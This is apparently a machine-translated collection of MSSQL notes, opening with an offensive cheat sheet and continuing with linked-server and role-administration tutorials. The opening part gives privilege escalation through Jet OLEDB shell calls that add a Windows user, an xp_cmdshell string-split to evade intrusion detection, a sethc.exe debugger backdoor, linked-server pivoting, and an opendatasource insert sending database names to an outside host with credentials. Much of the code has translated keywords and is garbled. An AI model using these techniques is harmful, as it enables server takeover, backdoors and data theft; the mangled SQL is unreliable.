Hän ei voinut vastata OLE tietokantapalveluntarjoaja 'Microsoft.Jet.OLEDB.4.0' suorittaa kyselyn. [OLE/DB-palveluntarjoaja palautettu
message: 未知] OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Jos verkkolupa on virheellinen, kehotetta ei ole.
Viimeinen tapa nostaa auktoriteettia on ladata järjestelmän ias.mdb ja cmd.exe nykyiseen verkkohakemistoon, net.exe kolme tiedostoa.
Suorita valitse * openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','valitse shell
("E:\web\cmd.exe /c E:\web\net.exe käyttäjä passwd /add")') Lisää tietokoneen käyttäjä onnistuneesti.
Splitting cmdshell ohittaa IDS:n declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig' julistaa
@a sysname-joukko @a='XP'+'_cm'+'dshell' exec @a 'dir c:\'
Muokkaus: rekisterin kaappaus siirto Toimitusjohtaja.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe päällä'; --
Kysy linkkipalvelimelta valikoida
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers valikoida
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers
Kysely linkserver2 Valitse erillinen isäntänimi,db_name(dbid),net_address,loginame,program_name joukosta
mestari.. sysprocessesit
Kysy linkkipalvelimelta sekä muut kirjautuneet käyttäjät Valitse * [192.168.1.1].master.dbo.syslogins
Kyselylinkserver Kaikki tietokannat valitse * linkedSrvWeb.master.dbo.sysdatabasesista
Suorita laajennettu tallennustila LinkServerissä Exec [IP].master.dbo.xp_cmdshell
Kysy kaikki taulukot linkkipalvelimella Valitse * from [ip].master.dbo.sysobjects
Valitse * openrowsetistä
('sqloledb','server=IP; uid=käyttäjä; pwd=password','valitse @@version')
valitse * openquery:stä([LINKSERVER
nimi],'valitse @@version')
valitse * openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
valitse * openquery(GM_SERVER,'valitse * sysobjectsista, missä xtype = (''U'')')
Valitse *
openquery(NDOORS,'Valitse IS_MEMBER(''db_owner'')')
Valitse * from openquery(toatdeweb,'select
srvname lähteestä master.dbo.sysservers')
lisää avoimeen datalähteeseen
('sqloledb','server=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select
Nimi: master.dbo.sysdatabases luo tietokanta hack520 Luo TAULU zhu(name nvarchar(256)
null); Luo TAULUKKO J8(id int NULL, name nvarchar(256) null);
Valitse * OpenQuerysta
(toatdeweb, 'aseta FMTonlyn pois käytöstä master.dbo.xp_cmdshell ''nettikäyttäjä''')
Toimitusjohtaja.. xp_dirtree
'c:\',1,1 Suorita kyselyhakemisto
exec links.master.. xp_cmdshell 'ipconfig'
Valitse * openquery(toatdeweb,'set'setistä
fmtonly off executive master.dbo.xp_cmdshell ''ipconfig /all''')
Yhdistä mysql Select * Mem_DB:sta. UserDB.dbo.AdminList
MESTARI.. XP_dirtree 'c:\',1,1
Johtaja
master.dbo.xp_cmdshell 'dir'
Valitse count(*) [osoita] -kohdasta Kysy, kuinka paljon dataa nykyisessä taulukossa on
Valitse distinct hostname,db_name(dbid),net_address,loginame,program_name
mestarilta.. sysprocessesit
Valitse * GameDB01:stä. Server01.dbo.cabal_character_table missä nimi='
Sika'
Kun poistat sen, siinä lukee: Tietokantaa käytetään eikä sitä voi poistaa.
Klikkaa tietokantaa, jonka haluat poistaa, avataksesi Event Viewerin.
Syöte:
Käyttö
Mestari mene Sitten syötä seuraava: julistaa @d varchar(8000) setti @d= ' ' valitse @d=@d+ ' tapa
'+cast(spid as varchar)+char(13) mestarilta.. sysprocesses, missä dbid=db_id('kirjaston nimi') exec(@d) -- Käytä koodia poistaaksesi prosessin, joka yhdistää tähän tietokantaan ensin.
MSSQL operoi Oraclea LinkServerin kautta
1) Asenna Oracle SQL_SERVER 2005 -palvelimelle
9i-asiakas. Oletetaan, että asennetaan C:\ora92i\ hakemistoon. Jos D: on NTFS-osio, sinun täytyy asettaa ORACLE-asennettu hakemisto käytettäväksi
Tilaajilla on oikeus ajaa, lisätä ja poistaa.
2) Määritä C:\ora92i\network\ADMIN\tnsnames.ora -tiedosto. (Seuraava punainen teksti on esimerkki konfiguraatiosta)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(OSOITE = (PROTOKOLLA = TCP)(ISÄNTÄ = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Suorita seuraava komento DOS-tilassa varmistaaksesi, että ORACLE-asiakas on asennettu oikein.
SQLplus-käyttäjä/password@ORCL
4) Avaa Start - Ohjauspaneeli - Palvelut ja vahvista, että Distributed Transaction Coordinator -palvelu on käynnistetty.
5) Avaa SQL SERVER Management Studio, instanssinnimi (ORCL) - Palvelinobjekti (oikea klikkaus) - Uusi yhteyspalvelin.
1.
Linkkipalvelin: Kirjoita linkitetyn palvelimen nimi, kuten OracleTest
2. Palvelintyyppi, valitse toinen tietolähde
3. Pääsyliittymä: Valitse Oracle Provider OLE DB:lle
4. Tuotteen nimi: Write Oracle
5. Tietolähde: Kirjoita
Palvelunimi, joka on määritetty tnsnames.ora-tiedostossa, kuten ORCL
6. Access interface string: userid=sys as sysdba; password=password
7. Valitse turvallisuusasetukset -sivulla käytä tätä asennuskontekstia yhteyden muodostamiseen:
a) Etäkirjautuminen: käyttäjä (toinen käyttäjä, ei järjestelmäjärjestelmä)
b)
Käytä salasanaa: salasanaa
8. Aseta "NT AUTHORITY\SYSTEM" paikalliseen kirjautumiseen, etäkäyttäjäjärjestelmään ja aseta salasana
9.
Oletko varma
6) SQL:ää voi kirjoittaa kahdella tavalla
a) T-SQL-syntaksin käyttö:
VALITSE * POIS
OraTest.ERP.BAS_ITEM_CLASS
Huomaa, että kun syötät SQL-lauseita SQL Query Analyzeriin, kiinnitä huomiota kiinalaiseen täysleveään ja puolileveään vaihtoon
Way!
b) Käytä PLSQL-syntaksia: VALITSE * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) Toinen pääsytapa on noin 50 % nopeampi kuin ensimmäinen; Toinen pääsytapa on suoraan yhteydessä
ORACLE on verrattavissa; Ensimmäinen hakutapa voi johtaa odottamattomiin virheisiin, kuten: Taulukkoa ei ole olemassa, eikä nykyistä käyttäjää
Pöydälle ei ole pääsyä, ja niin edelleen.
d) Jos sarakkeeseen, johon tarvitsee, käyttää tietotyyppejä ilman tarkkuutta, molemmat
Tämä on ORACLE-virhe, jota ei voi korjata, ja jonka voi välttää vain erityisellä kyselylauseiden käsittelyllä:
OLE DB -palveluntarjoajan 'OraOLEDB.Oracle' tarjoama metadata sarakkeille on epäjohdonmukaista. Metatietotiedot muuttuvat suorituksen yhteydessä.
MSSQL lisäsi
Poista käyttäjä ja anna käyttöoikeudet
Käytä kirjastosi nimeä mene --Lisää käyttäjiä Exec sp_addlogin 'test' -- lisää kirjautuminen johtaja
sp_grantdbaccess N'test' – tekee siitä laillisen käyttäjän nykyisessä tietokannassa johtaja sp_addrolemember N'db_owner',
N'test' – myöntää kaikki oikeudet omaan tietokantaansa --Tämä luo käyttäjiä, jotka pääsevät käsiksi vain omaan tietokantaansa ja tietokantaan sisältyviin tietokantaan
Julkinen pöytä vieraskäyttäjille mene --Poista testikäyttäjä exec sp_revokedbaccess N'test' -- Poista pääsy tietokantaan
Rajoitus exec sp_droplogin N'test' -- poista kirjautuminen Jos luot sen Enterprise Managerissa, käytä: Enterprise Manager - Turvallisuus
Seksi --Napsauta oikealla Kirjaudu--Uusi kirjautuminen Yleiset asiat --Syötä käyttäjänimi nimeen
--Todennusmenetelmä valitaan tarpeidesi mukaan (jos käytät Windows-tunnistautumista, sinun täytyy ensin luoda uusi käyttäjä käyttöjärjestelmän käyttäjien joukosta)
--Oletusasetuksista valitse tietokannan nimi, jonka haluat käyttää uudelle käyttäjälle Palvelinroolin kohde Älä valitse tästä mitään tietokanta
Pääsykohde Tarkista tietokannan nimi, johon haluat päästä luomallesi käyttäjälle Salli tietokantarooli, valitse "julkinen", "db_ownew" Totta kai, tämä
Näytteen luoma käyttäjä on sama kuin yllä olevan lauseen luoma käyttäjä
Viimeinen vaihe on asettaa tietyt käyttöoikeudet tietyille käyttäjille, jotka voidaan viitata seuraavaan minimiesimerkkiin:
--Lisää käyttäjiä, jotka saavat käyttää vain määritettyä taulukkoa: Exec sp_addlogin 'käyttäjänimi', 'salasana', 'oletustietokantanimi'
--lisää tietokantaan johtaja sp_grantdbaccess 'käyttäjänimi'
--Määritä koko taulun käyttöoikeudet MYÖNNÄ VALINTA, LISÄÄ, PÄIVITÄ, POISTA taulukossa 1 [käyttäjänimi] --Anna käyttöoikeudet tietyille sarakkeille MYÖNNÄ VALINTA, PÄIVITYS TAULUKKOON 1(id,AA) OSOITTEESEEN [käyttäjänimi]
Erityiset turvallisuusasetukset ja teoreettinen tieto löydät SQL Online Help -ohjeesta
Kiinteän tietokantaroolin kuvaus db_owner Minulla on täysi käyttöoikeus tietokannassa.
db_accessadmin Voit lisätä tai poistaa käyttäjätunnukset.
db_securityadmin Voi hallita täysiä oikeuksia, objektien omistajuutta, rooleja ja roolijäsenyyksiä.
db_ddladmin voi antaa KAIKKI DDL:t, mutta eivät myöntää, peruuttaa tai kieltää -lausuntoja.
db_backupoperator voivat antaa DBCC-, CHECKPOINT- ja BACKUP-lauseita.
db_datareader Voit valita kaiken datan mistä tahansa käyttäjätaulusta tietokannassa.
db_datawriter Voit muuttaa kaiken datan missä tahansa käyttäjätaulussa tietokannassa.
db_denydatareader Et voi valita dataa mistään käyttäjätaulusta tietokannassa.
db_denydatawriter Et voi muuttaa tietoja missään käyttäjätaulussa tietokannassa.
Sinun pitäisi valita db_datareader, db_datawriter, db_accessadmin
5. Kun SQL Server -instanssi käynnistetään yksikäyttäjätilassa, Windowsin ylläpitäjätili voi käyttää sqlcmd-työkalua yhdistääkseen Windowsin todennustilassa
SQL Server。 Voit käyttää T-SQL-komentoja, kuten "sp_addsrvrolemember", lisätäksesi olemassa olevan kirjautumisen järjestelmänvalvojan palvelimen rooliin
Tai luo uusi kirjautumistili. Esimerkkilause on seuraava:
EXECUTIVE sp_addsrvrolemember 'CONTOSO\Buck', 'järjestelmänvalvoja';
MENE
Lisää järjestelmänvalvojan etuoikeus
(1) Hallinnoi palvelinrooleja
SQL Serverissä on kaksi pääasiallista tallennettua proseduuria, jotka toteuttavat SQL Server -roolihallinnan:
sp_addsrvrolemember
ja sp_dropsrvrolemember
sp_addsrvrolemember Voit lisätä kirjautumistilin palvelinrooliin, jolloin siitä tulee kyseisen palvelinroolin jäsen. Syntaksi on seuraava: sp_addsrvrolemember
kirjautuminen , rooli
sp_dropsrvrolemember Voit poistaa kirjautumistilin palvelinroolista, ja kun jäsen poistetaan palvelinroolista, sillä ei enää ole kyseistä palvelinroolia
Käyttöoikeudet asetettu. Syntaksi on seuraava: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'rooli'
siihen
@loginname on kirjautuneen käyttäjän nimi; @rolename on palvelinrooli.
(2) Hallinnoi tietokantarooleja
SQL Serverissä tietokannan hallinta on tuettu
Tallennettuja proseduureja on kuusi päätyyppiä, ja niiden tarkat merkitykset ja syntaksi ovat seuraavat:
sp_addrole: Käytetään uuden tietokantaroolin luomiseen; sp_addrole
Rooli, omistaja
sp_droprole: Käytetään poistamaan tietokantarooli nykyisestä tietokantaroolista; sp_droprole rooli
sp_helprole:
Sitä käytetään näyttämään kaikki tiedot kaikista tietokantarooleista nykyisessä tietokannassa; sp_helprole ['rooli']
sp_addrolemember: Käytetään lähettämään tietokantaan
Lisää tietokantakäyttäjiä rooliin, jotka voivat olla käyttäjän määrittelemiä standardeja tai kiinteitä tietokantarooleja, mutta eivät voi olla
Sovellusroolit. sp_addrolemember rooli, security_account
sp_droprolemember: Käytetään tietyn merkin poistamiseen
kotitalouksille; sp_droprolemember rooli, security_account
sp_helprolemember: Käytetään näyttämään kaikki tietokantaroolin jäsenet
。 sp_helprolemember ['rooli']
MSSQL LINKSERVER -kysely
---------------------------------------------------------------------------------- -- Kirjoittaja :
htl258(Tony) -- Päivämäärä: 2010-06-25 22:23:18 -- Versio: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9. heinäkuuta 2008 14:43:34 -- Tekijänoikeudet (c) 1988–2008 Microsoft Corporation --
Kehittäjäversio Windows NT 5.1:lle (Build 2600: Service Pack 2) -- Blogi : -- Aihe: SQL-datatoiminnot eri palvelintietokantojen välillä ---------------------------------------------------------------------------------- --1. Luo linkkipalvelin --1.1 Luo linkin nimi EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' etäpalvelimen nimi
tai IP-osoite' -- Jos sinulla on oma instanssinimi, lisää "\instanssinimi"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Luo kirjautuminen (tai luo linkkipalvelimen kirjautumiskartta) (valitse vain yksi tapa) --1.2.1 Kirjaudu sisään Windows-todennuksella EXECUTIVE sp_addlinkedsrvlogin 'LinkName' --tai EXECUTIVE sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Kirjaudu sisään SQL-todennuksella EXECUTIVE sp_addlinkedsrvlogin 'LinkName', 'false', NULL, 'Username', 'Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink','false',null,'sa','123' */ --2. Linkkipalvelimeen liittyvät datatoiminnot --2.1 Kyselyesimerkki VALITSE * FROM LinkName.database name.schema name.table name
/*例如:SELECT *
LÄHDE: TonyLink.Mydb.dbo.tb */ -- 2.2 Tuontiesimerkki VALITSE * SISÄÄN taulun nimeen LINKName.tietokanta nimi.skeeman nimi.taulun nimi
/*例如:SELECT * INTO Newtb
LÄHDE: TonyLink.Mydb.dbo.tb */ -- 2.3 Päivitysesimerkki PÄIVITÄ LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Henkilöt='g' MISSÄ Henkilöt='a' */ -- 2.4 Poista esimerkkejä POISTA LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb MISSÄ henkilöt='g' */ --3 rivijoukko-toiminnon (OPENQUERY/OPENROWSET/OPENDATASOURCE) KAUTTA.
Menetelmä
- 3.1 OPENQUERY-menetelmä (vaatii juuri luomasi linkkipalvelimen apua): -- 3.1.1 Kyselyesimerkki VALITSE * OPENQUERY-ALUEESTA (Linkin nimi, 'VALITSE * TIETOKANNAN nimestä. Arkkitehtuurin nimi. taulukon nimi')
/* Esimerkiksi: VALITSE * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Tuontiesimerkit --3.1.2.1 Tuo kaikki sarakkeet LISÄÄ OPENQUERY(LinkName, 'SELECT * FROM tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi
') VALITSE * paikallisesta taulukosta
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
FROM tb */ --3.1.2.2 Tuo määritetyt sarakkeet LISÄÄ OPENQUERY(LinkName, 'SELECT * FROM tietokannan nimi. Arkkitehtuurin nimi. taulukon nimi') (sarakke, sarake...) SELECT-sarakke,
Kolumni... PAIKALLISESTA taulukosta
/* Esimerkiksi: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) VALIKOIDA
ALUE, TASO, Henkilöt TUBERKULOOSISTA */ --3.1.3 Päivitysesimerkkejä PÄIVITÄ OPENQUERY(LinkName, 'SELECT * FROM tietokannan nimi. Arkkitehtuurin nimi. taulukkonimi') SET-kenttä = 'arvo' MISSÄ sana
Segmentti = 'Ehto'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Henkilöt='a' */ --3.1.4 Poista esimerkkejä POISTA OPENQUERY(LinkName, 'VALITSE * FROM tietokannan nimestä. Arkkitehtuurin nimi. table name') WHERE kentän nimi='ehto'
/*例
Esimerkiksi: DELETE OPENQUERY(TonyLink, 'VALITSE * FROM Mydb.dbo.tb') WHERE Persons='g' */ --3.2 OPENROWSET-menetelmä (sinun ei tarvitse käyttää luodun linkin nimeä.) Jos yhdistetyn instanssin nimi ei ole oletus, sinun täytyy asettaa se SQL-palvelimen nimeksi tai IP-osoitteeksi.
"\instanssinimi") --3.2.1 Kyselyesimerkki --3.2.1.1 Windowsin todennusmenetelmäkysely (jokin seuraavista menetelmistä riittää) VALITSE * OPENROWSET('SQLOLEDB', 'server=sql palvelimen nimi tai
IP-osoite; Trusted_Connection=kyllä', tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi) VALITSE * OPENROWSET('SQLNCLI',
'server=sql-palvelimen nimi tai IP-osoite; Trusted_Connection=kyllä', tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi) VALITSE * POIS
OPENROWSET('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; Trusted_Connection=kyllä','VALITSE * TIETOKANNASTA
Nimi. Arkkitehtuurin nimi. taulukon nimi') VALITSE * OPENROWSET('SQLNCLI', 'server=sql palvelimen nimi tai IP-osoite
Osoite; Trusted_Connection=kyllä','VALITSE * FROM tietokannan nimestä. Arkkitehtuurin nimi. taulukon nimi')
/* Esimerkiksi: VALITSE * OPENROWSETISTÄ
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=kyllä', Mydb.dbo.tb)
Tai: VALITSE * OPENROWSETISTÄ
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=kyllä', Mydb.dbo.tb)
Tai: VALITSE * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=kyllä','VALITSE *
LÄHDE: Mydb.dbo.tb')
Tai: VALITSE * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=kyllä','VALITSE *
LÄHDE: Mydb.dbo.tb') */ --3.2.1.2 SQL-todennusmenetelmäkysely (Yksi seuraavista menetelmistä riittää) VALITSE * OPENROWSETISTÄ
('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=salasana', tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi) VALITSE * POIS
OPENROWSET('SQLNCLI', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=salasana', tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi) VALITSE * OPENROWSET('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=password','VALITSE *
TIETOKANNAN nimestä. Arkkitehtuurin nimi. taulukon nimi') VALITSE * OPENROWSET('SQLNCLI', 'server=sql-palvelimen nimi tai IP-osoite; uid=
Käyttäjätunnus; pwd=password','VALITSE * FROM tietokannan nimi. Arkkitehtuurin nimi. taulukon nimi') VALITSE * OPENROWSET('SQLOLEDB', 'sql
palvelimen nimi'; 'käyttäjänimi'; 'salasana', tietokantanimi. Arkkitehtuurin nimi. Taulukon nimi) VALITSE * OPENROWSET('SQLNCLI', 'SQL-PALVELIMEN NIMI
'; 'käyttäjänimi'; 'salasana', tietokantanimi. Arkkitehtuurin nimi. Taulukon nimi) VALITSE * OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' käyttäjä
nimi'; 'Salasana', 'VALITSE * FROM tietokannan nimi. Arkkitehtuurin nimi. taulukon nimi') VALITSE * OPENROWSET('SQLNCLI', 'ql-palvelin
nimi'; 'käyttäjänimi'; 'Salasana', 'VALITSE * FROM tietokannan nimi. Arkkitehtuurin nimi. taulukon nimi')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Tai: VALITSE * OPENROWSETISTÄ
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Tai: VALITSE * OPENROWSETISTÄ
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','VALITSE * FROM Mydb.dbo.tb')
tai: VALITSE * OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','VALITSE * POIS
Mydb.dbo.tb')
tai: VALITSE * OPENROWSETISTÄ ('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
tai: VALITSE * OPENROWSETISTÄ ('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
tai: VALITSE * OPENROWSETISTÄ ('SQLOLEDB','192.168.58.208'; 'sa'; '123','VALITSE * FROM Mydb.dbo.tb')
tai: VALITSE * OPENROWSETISTÄ ('SQLNCLI','192.168.58.208'; 'sa'; '123','VALITSE * FROM Mydb.dbo.tb') */ --3.2.2 Tuontiesimerkki --3.2.2.1 Tuo kaikki sarakkeet LISÄÄ OPENROWSET('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite
Osoite; uid=käyttäjätunnus; pwd=salasana', tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi) VALITSE * PAIKALLISESTA taulukosta
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) VALITSE * TUBERKULOOSISTA */ --3.2.2.2 Tuonti
Määritä sarakkeet INSERT OPENROWSET('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=salasana', tietokannan nimi. räkki
Rakenne nimi. Taulukon nimi) (sarakke, sarakke...) SELECT-sarakke, sarakke... PAIKALLISESTA taulukosta
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ETÄISYYS, TASO, Henkilöt) VALIKOIDA
ALUE, TASO, Henkilöt TUBERKULOOSISTA */ --Huomautus: Lisää vaihtoehtoisia menetelmiä varten katso .2.1-kyselyesimerkki, korvaa vain OPENROWSET-funktio
Sisältö on riittävää. --3.2.3 Päivitysesimerkki PÄIVITÄ OPENROWSET('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjänimi
;p wd=password', tietokantanimi. Arkkitehtuurin nimi. Taulukon nimi) SET-kenttä = 'arvo' MISSÄ kenttä = 'ehto'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Henkilöt='g' MISSÄ henkilöt='a' */ --Huomautus: Lisää vaihtoehtoisia menetelmiä varten katso .2.1-kyselyesimerkkiä, korvaa vain sisältö OPENROWSETissä. --3.2.4 Poista indikaatio
Esimerkki POISTA OPENROWSET('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=salasana', tietokannan nimi. Skeeman nimi
.taulukon nimi) MISSÄ kentän nimi='ehto'
/* Esimerkiksi: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) MISSÄ
Henkilöt='g' */ --Huomautus: Lisää vaihtoehtoisia menetelmiä löydät .2.1-kyselyesimerkistä, korvaa vain sisältö OPENROWSET-tiedostossa. --3.3 OPENDATASOURCE-menetelmä
(Sinun ei tarvitse käyttää luodun linkin nimeä.) Jos yhteyden instanssinnimi ei ole oletus, sinun täytyy lisätä \instanssin nimi SQL-palvelimen nimen tai IP-osoitteen jälkeen
") --3.3.1 Kyselyesimerkki --3.3.1.1 Windowsin todennusmenetelmäkysely (Yksi seuraavista menetelmistä riittää) VALITSE * FROM OPENDATASOURCE('SQLOLEDB',
'server=sql-palvelimen nimi tai IP-osoite; Trusted_Connection=kyllä'). Tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi VALITSE * POIS
OPENDATASOURCE('SQLNCLI', 'server=sql palvelimen nimi tai IP-osoite; Trusted_Connection=kyllä'). Tietokannan nimi. Arkkitehtuurin nimi.
Taulukon nimi
/* Esimerkiksi: VALITSE * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=kyllä'). Mydb.dbo.tb
Tai: VALITSE * OPENDATASOURCESTA
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=kyllä'). Mydb.dbo.tb */ --3.3.1.2 SQL-todennusmenetelmäkysely (jokin seuraavista menetelmistä riittää) VALITSE * OPENDATASOURCE:STA ('SQLOLEDB', 'server=sql-palvelimen nimi tai
IP-osoite; uid=käyttäjätunnus; pwd=salasana'). Tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi VALITSE * OPENDATASOURCE('SQLNCLI', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjä
Nimi; pwd=salasana'). Tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi VALITSE * OPENDATASOURCE:STA ('SQLOLEDB', 'Data Source=sql-palvelimen nimi tai IP-osoite
Osoite; uid=käyttäjätunnus; pwd=salasana'). Tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi VALITSE * FROM OPENDATASOURCE('SQLNCLI', 'Data Source=sql-palvelimen nimi tai IP-osoite
Osoite; uid=käyttäjätunnus; pwd=salasana'). Tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Tai: VALITSE * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Tai: VALITSE * OPENDATASOURCE:sta('sqloledb','Data
Lähde=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Tai: VALITSE * OPENDATASOURCE:sta('sqlncli','Data
lähde=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Tuo kaikki sarakkeet LISÄÄ OPENDATASOURCE('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=salasana').
Kirjaston nimen mukaan. Arkkitehtuurin nimi. Taulukon nimi VALITSE * PAIKALLISESTA taulukosta
/* Esimerkiksi: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb VALIKOIDA
* TUBERKULOOSISTA */ --3.3.2.2 Tuo määritetyt sarakkeet LISÄÄ OPENDATASOURCE('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=salasana').
Kirjaston nimen mukaan. Arkkitehtuurin nimi. Taulukon nimi (sarakke, sarakke...) SELECT-sarakke, sarakke... PAIKALLISESTA taulukosta
/* Esimerkiksi: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(ETÄISYYS, TASO, Henkilöt) VALITSE ALUE, TASO, HENKILÖT TUBERKULOOSISTA */ --Huomautus: Lisää vaihtoehtoisia menetelmiä löydät .3.1-kyselyesimerkistä, korvaa vain sisältö rivijoukkofunktiossa (OPENDATASOURCE). --3.3.3 Päivitysesimerkki PÄIVITÄ OPENDATASOURCE('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=salasana'). Tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi SET-kenttä = 'arvo' MISSÄ kenttä = 'ehto'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Henkilöt='g' MISSÄ henkilöt='a' */ --Huomautus: Lisää vaihtoehtoisia menetelmiä löydät .3.1-kyselyesimerkistä, korvaa vain sisältö rivijoukkofunktiossa (OPENDATASOURCE). --3.3.4 Poista esimerkki POISTA OPENDATASOURCE('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=salasana'). Tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi MISSÄ kentän nimi='ehto'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb MISSÄ Henkilöt='g' */ - Huomautus: Lisää vaihtoehtoja
Katso .3.1-kyselyesimerkki, korvaa vain sisältö rivijoukko-funktiossa (OPENDATASOURCE). -- Poista linkitetyn palvelimen menetelmä --Jos et enää käytä linkkitietoja tulevaisuudessa, voit poistaa linkkitiedot --4.1 Poista kirjautumistiedot (tai poista linkitetyn palvelimen kirjautumisnimikartta) EXECUTIVE sp_droplinkedsrvlogin 'LinkName', NULL
/* Esimerkiksi: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Poista linkitetyn palvelimen nimi EXEC sp_dropserver 'LinkName', 'droplogins' – jos droploginit on määritelty, Kirjautumiskartta täytyy poistaa ennen kuin linkitetyn palvelimen poistaminen
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Liitteenä
: Kuinka saada palveluntarjoajan nimi (EXECUTIVE master). xp_enum_oledb_providers) VALITSE CAST([Palveluntarjoajan nimi] AS
VARCHAR(30)) ProviderName, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion LÄHTEESTÄ
OPENROWSET( 'SQLOLEDB', 'Palvelin=.; Trusted_Connection=kyllä', 'LAUKAISTA FMTONLY; JOHTAJA
mestari.. xp_enum_oledb_providers'
)
|